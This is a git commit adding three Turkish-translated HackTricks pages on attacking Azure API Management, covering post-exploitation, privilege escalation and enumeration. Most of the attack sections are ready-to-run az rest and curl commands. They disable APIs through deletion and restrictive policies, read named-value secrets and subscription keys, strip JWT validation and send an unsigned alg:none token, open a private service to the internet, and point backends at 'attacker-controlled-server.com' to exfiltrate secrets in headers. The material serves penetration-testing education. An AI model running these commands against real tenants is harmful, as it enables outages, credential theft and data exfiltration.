Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-12-23 16:37:46 +00:00
parent 26b85c7b7c
commit 5a1fdd1587
3 changed files with 317 additions and 0 deletions

View File

@@ -0,0 +1,75 @@
# Azure - API Management Post-Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## `Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write`
Saldırgan, denial of service oluşturmak için birden fazla vektör kullanabilir. Meşru trafiği engellemek için saldırgan, normal erişimi fiilen engelleyen çok düşük değerlerle rate-limiting ve quota politikaları ekler:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"format": "rawxml",
"value": "<policies><inbound><rate-limit calls=\"1\" renewal-period=\"3600\" /><quota calls=\"10\" renewal-period=\"86400\" /><base /></inbound><backend><forward-request /></backend><outbound><base /></outbound></policies>"
}
}'
```
Belirli meşru istemci IP'lerini engellemek için, saldırgan seçilen adreslerden gelen istekleri reddeden IP filtreleme politikaları ekleyebilir:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"format": "rawxml",
"value": "<policies><inbound><ip-filter action=\"forbid\"><address>1.2.3.4</address><address>1.2.3.5</address></ip-filter><base /></inbound><backend><forward-request /></backend><outbound><base /></outbound></policies>"
}
}'
```
## `Microsoft.ApiManagement/service/backends/write` or `Microsoft.ApiManagement/service/backends/delete`
İsteklerin başarısız olmasına neden olmak için, saldırgan backend yapılandırmasını değiştirebilir ve URL'sini geçersiz veya ulaşılamaz bir adresle değiştirebilir:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://invalid-backend-that-does-not-exist.com",
"protocol": "http"
}
}'
```
Veya backends'i sil:
```bash
az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "If-Match=*"
```
## `Microsoft.ApiManagement/service/apis/delete`
Kritik API'leri kullanılamaz hale getirmek için, saldırgan bunları doğrudan API Management service'ten silebilir:
```bash
az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>?api-version=2024-05-01" \
--headers "If-Match=*"
```
## `Microsoft.ApiManagement/service/write` or `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
İnternetten erişimi engellemek için, saldırgan API Management service üzerinde genel ağ erişimini devre dışı bırakabilir:
```bash
az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"publicNetworkAccess": "Disabled"
}
}'
```
## `Microsoft.ApiManagement/service/subscriptions/delete`
Meşru kullanıcıların erişimini engellemek için saldırgan API Management aboneliklerini silebilir:
```bash
az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<apim-subscription-id>?api-version=2024-05-01" \
--headers "If-Match=*"
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,170 @@
# Az - API Management Privesc
{{#include ../../../banners/hacktricks-training.md}}
## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action`
Saldırı, Azure API Management Named Values içinde saklanan hassas secrets'e erişmeyi içerir; ya secrets değerlerini doğrudan alarak ya da managed identities aracılığıyla Key Vaultbacked secrets elde etmek için izinleri kötüye kullanarak.
```bash
az apim nv show-secret --resource-group <resource-group> --service-name <service-name> --named-value-id <named-value-id>
```
## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action`
Her abonelik için saldırgan, POST yöntemiyle listSecrets endpoint'ini kullanarak abonelik anahtarlarını elde edebilir:
```bash
az rest --method POST \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<subscription-sid>/listSecrets?api-version=2024-05-01"
```
Yanıt, subscription primary key (primaryKey) ve secondary key (secondaryKey) içerir. Bu anahtarlarla attacker authenticate olarak API Management Gateway üzerinden yayınlanmış API'lere erişebilir:
```bash
curl -H "Ocp-Apim-Subscription-Key: <primary-key-or-secondary-key>" \
https://<service-name>.azure-api.net/<api-path>
```
Saldırgan, abonelikle ilişkili tüm API'lere ve ürünlere erişebilir. Aboneliğin hassas ürünlere veya API'lere erişimi varsa, saldırgan gizli bilgileri elde edebilir veya yetkisiz işlemler gerçekleştirebilir.
## `Microsoft.ApiManagement/service/policies/write` veya `Microsoft.ApiManagement/service/apis/policies/write`
Saldırgan önce mevcut API politikasını alır:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
```
Saldırgan, hedeflerine bağlı olarak politikayı birden fazla şekilde değiştirebilir. Örneğin, kimlik doğrulamayı devre dışı bırakmak için, politika JWT token validation içeriyorsa, saldırgan o bölümü kaldırabilir veya yorum satırı haline getirebilir:
```xml
<policies>
<inbound>
<base />
<!-- JWT validation removed by the attacker -->
<!-- <validate-jwt header-name="Authorization" failed-validation-httpcode="401" >
...
</validate-jwt> -->
</inbound>
<backend>
<base />
</backend>
<outbound>
<base />
</outbound>
<on-error>
<base />
</on-error>
</policies>
```
Rate limiting kontrollerini kaldırarak denial-of-service attacks'e izin vermek için, saldırgan quota ve rate-limit politikalarını kaldırabilir veya yorum satırı haline getirebilir:
```xml
<policies>
<inbound>
<base />
<!-- Rate limiting removed by the attacker -->
<!-- <rate-limit calls="100" renewal-period="60" />
<quota-by-key calls="1000" renewal-period="3600" counter-key="@(context.Subscription.Id)" /> -->
</inbound>
...
</policies>
```
Arka uç rotasını değiştirmek ve trafiği saldırgan tarafından kontrol edilen bir sunucuya yönlendirmek için:
```xml
<policies>
...
<inbound>
<base />
<set-backend-service base-url="https://attacker-controlled-server.com" />
</inbound>
...
</policies>
```
Saldırgan daha sonra değiştirilmiş policy'yi uygular. İstek gövdesi, XML formatında policy'yi içeren bir JSON nesnesi olmalıdır:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"format": "rawxml",
"value": "<policies><inbound><base /></inbound><backend><base /></backend><outbound><base /></outbound><on-error><base /></on-error></policies>"
}
}'
```
## JWT Doğrulama Yanlış Yapılandırması
Saldırganın, bir API'nin JWT token doğrulaması kullandığını ve politikanın yanlış yapılandırıldığını bilmesi gerekir. Kötü yapılandırılmış JWT doğrulama politikaları `require-signed-tokens="false"` veya `require-expiration-time="false"` içerebilir; bu da servisin unsigned tokens veya tokens that never expire kabul etmesine olanak tanır.
Saldırgan, none algorithm (unsigned) kullanarak kötü amaçlı bir JWT token oluşturur:
```
# Header: {"alg":"none"}
# Payload: {"sub":"user"}
eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0.
```
Saldırgan, kötü amaçlı token'ı kullanarak API'ye bir istek gönderir:
```bash
curl -X GET \
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \
https://<apim>.azure-api.net/path
```
Eğer politika `require-signed-tokens="false"` olarak yanlış yapılandırıldıysa, servis imzasız token'ı kabul edecektir. Saldırgan ayrıca `require-expiration-time="false"` ise expiration claim'i olmayan bir token oluşturabilir.
## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
Saldırgan ilk olarak servisin mevcut ağ yapılandırmasını kontrol eder:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"
```
Saldırgan, JSON yanıtını `publicNetworkAccess` ve `virtualNetworkType` değerlerini doğrulamak için inceler. Eğer `publicNetworkAccess` false olarak ayarlanmışsa veya `virtualNetworkType` Internal olarak ayarlanmışsa, servis özel erişime yapılandırılmış demektir.
Servisi İnternet'e açmak için saldırgan her iki ayarı da değiştirmelidir. Eğer servis dahili modda çalışıyorsa (`virtualNetworkType: "Internal"`), saldırgan bunu None veya External olarak değiştirir ve `publicNetworkAccess`'i etkinleştirir. Bu, Azure Management API kullanılarak yapılabilir:
```bash
az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"publicNetworkAccess": "Enabled",
"virtualNetworkType": "None"
}
}'
```
Once `virtualNetworkType` is set to `None` or `External` and `publicNetworkAccess` is enabled, the service and all its APIs become accessible from the Internet, even if they were previously protected behind a private network or private endpoints.
## `Microsoft.ApiManagement/service/backends/write`
Saldırgan önce mevcut backends'i enumerate ederek hangi backendi değiştireceğini belirler:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
```
Saldırgan, değiştirmek istediği backend'in mevcut yapılandırmasını alır:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
```
Saldırgan, backend URL'sini kendi kontrolündeki bir sunucuya işaret edecek şekilde değiştirir. Önce önceki yanıttan ETag'i alır ve sonra backend'i günceller:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://attacker-controlled-server.com",
"protocol": "http",
"description": "Backend modified by attacker"
}
}'
```
Alternatif olarak, saldırgan, içinde gizli bilgiler bulunan Named Values'leri exfiltrate etmek için backend headers'ı yapılandırabilir. Bu, backend credentials configuration aracılığıyla yapılır:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://attacker-controlled-server.com",
"protocol": "http",
"credentials": {
"header": {
"X-Secret-Value": ["{{named-value-secret}}"]
}
}
}
}'
```
Bu yapılandırma ile Named Values, attacker-controlled backend'e yapılan tüm isteklerde headers olarak gönderilir; bu da sensitive secrets'in exfiltration'ına izin verir.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,72 @@
# Az - API Management
{{#include ../../../banners/hacktricks-training.md}}
## Temel Bilgiler
Azure API Management (APIM), **API'leri yayınlama, güvenliğini sağlama, dönüştürme, yönetme ve izleme için birleşik bir platform** sunan tamamen yönetilen bir hizmettir. Kuruluşların **API'lerini merkezi hale getirmelerini** sağlayarak tüm servisler genelinde tutarlı yönetişim, performans ve güvenlik sağlar. Backend servisleri ile API tüketicileri arasında bir soyutlama katmanı olarak hareket ederek APIM, entegrasyonu basitleştirir ve sürdürülebilirliği artırır; aynı zamanda temel operasyonel ve güvenlik yeteneklerini sağlar.
## Temel Kavramlar
**The API Gateway** tüm API trafiği için tek giriş noktası olarak hizmet verir; istekleri backend servislere yönlendirme, oran sınırlaması uygulama, yanıtları önbellekleme ve kimlik doğrulama ile yetkilendirmeyi yönetme gibi işlevleri yürütür. Bu gateway Azure tarafından tamamen barındırılır ve yönetilir, yüksek kullanılabilirlik ve ölçeklenebilirlik sağlar.
**The Developer Portal** API tüketicilerinin kullanılabilir API'leri keşfedebileceği, dokümantasyonu okuyabileceği ve uç noktaları test edebileceği self-servis bir ortam sunar. İnteraktif araçlar ve abonelik bilgilerine erişim sağlayarak onboarding sürecini hızlandırır.
**The Management Portal (Management Plane)** yöneticilerin APIM hizmetini yapılandırmak ve sürdürmek için kullandığı arayüzdür. Buradan kullanıcılar API ve operasyonları tanımlayabilir, erişim kontrolünü yapılandırabilir, politika uygulayabilir, kullanıcıları yönetebilir ve API'leri ürünler halinde organize edebilir. Bu portal yönetimi merkezileştirir ve tutarlı API yönetişimi sağlar.
## Kimlik Doğrulama ve Yetkilendirme
Azure API Management, API erişimini güvence altına almak için çeşitli **kimlik doğrulama mekanizmalarını** destekler. Bunlar arasında **subscription keys**, **OAuth 2.0 tokens** ve **client certificates** bulunur. APIM ayrıca **Microsoft Entra ID** ile yerel entegrasyon sağlayarak hem API'lere hem de backend servislerine **kurumsal düzeyde kimlik yönetimi** ve **güvenli erişim** imkanı sunar.
## Politikalar
APIM'de politikalar, **istek ve yanıt işleme**yi hizmet, API, operasyon veya ürün düzeyinde çeşitli inceliklerde özelleştirmeye imkan verir. Politikalar aracılığıyla **JWT token validation**, **XML veya JSON payload'ları dönüştürme**, **oran sınırlaması uygulama**, **çağrıları IP adresine göre kısıtlama** veya **managed identities kullanarak backend servislerine kimlik doğrulama** gibi işlevler uygulanabilir. Politikalar son derece esnektir ve API Management platformunun temel güçlü yönlerinden birini oluşturarak backend kodunu değiştirmeden çalışma zamanı davranışı üzerinde ince kontrollere imkan verir.
## Named Values
Hizmet, **Named Values** adlı bir mekanizma sağlar; bu mekanizma politikalar tarafından gereken **konfigürasyon bilgilerini** (ör. **gizli değerler**, **API anahtarları** veya diğer değerler) saklamaya olanak tanır.
Bu değerler doğrudan APIM içinde saklanabilir veya güvenli şekilde **Azure Key Vault**'tan referanslanabilir. Named Values, konfigürasyon verilerinin güvenli ve merkezi yönetimini teşvik eder ve hardcoded değerler yerine **yeniden kullanılabilir referanslar** kullanılarak politika yazımını basitleştirir.
## Ağ ve Güvenlik Entegrasyonu
Azure API Management, **virtual network ortamları** ile sorunsuz entegrasyon sağlar ve backend sistemlere **özel ve güvenli bağlantı** mümkün kılar.
Bir **Virtual Network (VNet)** içinde dağıtıldığında, APIM iç servislerine bunları genel olarak açmadan erişebilir. Hizmet ayrıca backend servislerle **mutual TLS authentication** desteklemek için **custom certificates** yapılandırılmasına izin verir; bu, **güçlü kimlik doğrulamanın** gerektiği senaryolarda güvenliği artırır.
Bu ağ özellikleri APIM'i hem **cloud-native** hem de **hybrid architectures** için uygun hale getirir.
### Keşif
```bash
# Lists all Named Values configured in the Azure API Management instance
az apim nv list --resource-group <resource-group> --service-name <service-name>
# Retrieves all policies applied at the API level in raw XML format
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
# Retrieves the effective policy for a specific API in raw XML format
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01&format=rawxml"
# Gets the configuration details of the APIM service instance
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"
# Lists all backend services registered in the APIM instance
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
# Retrieves details of a specific backend service
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
# Gets general information about the APIM service
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>?api-version=2024-05-01"
# Calls an exposed API endpoint through the APIM gateway
curl https://<apim>.azure-api.net/<api-path>
```
{{#include ../../../banners/hacktricks-training.md}}